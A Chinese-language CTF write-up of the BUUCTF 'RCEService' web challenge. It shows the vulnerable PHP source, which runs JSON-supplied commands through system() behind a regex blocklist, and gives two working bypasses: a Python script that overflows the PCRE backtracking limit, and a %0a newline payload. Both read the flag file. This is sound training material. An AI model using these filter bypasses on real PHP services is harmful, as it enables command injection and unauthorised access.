buuctf-web [FBCTF2019]RCEService

前言

今天我们再来学习一下rce，从buu上找了一道有关rce的题来做一下。

RCEService

我们先打开靶场，界面提示要用JSON命令来输入才可以。

那我们就先使用ls命令来看一下还有什么文件吧。pyload:?cmd={"cmd":"ls"}

传过去之后我们发现有了提示：

发现了一个index.php，可是奇怪了，不管怎么整，都获取不了Index.php文件，看来它肯定过滤了很多关键字。这该如何是好，

看了一下大佬的博客，害，直接把源码拿过来吧。

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[x00-x1FA-Z0-9!#-/;-@[-`|~x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

我的天，过滤了这么多东西。

不过，不用担心。我学到了新的知识，参考了一位p神的文章：PHP利用PCRE回溯次数限制绕过某些安全限制

这里面讲的很清楚，使用脚本回溯次数超出了限制，让正则失效：

1 import requests
2 
3 payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
4 res = requests.post("http://ad66432f-4628-41f6-8190-d9b9c247904c.node3.buuoj.cn/", data={"cmd":payload})
5 #print(payload)
6 print(res.text)

还有另一种解法，这种解法比较容易。

preg_match()函数只能匹配第一行数据，可以使用换行符%0a绕过，pyload: ?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}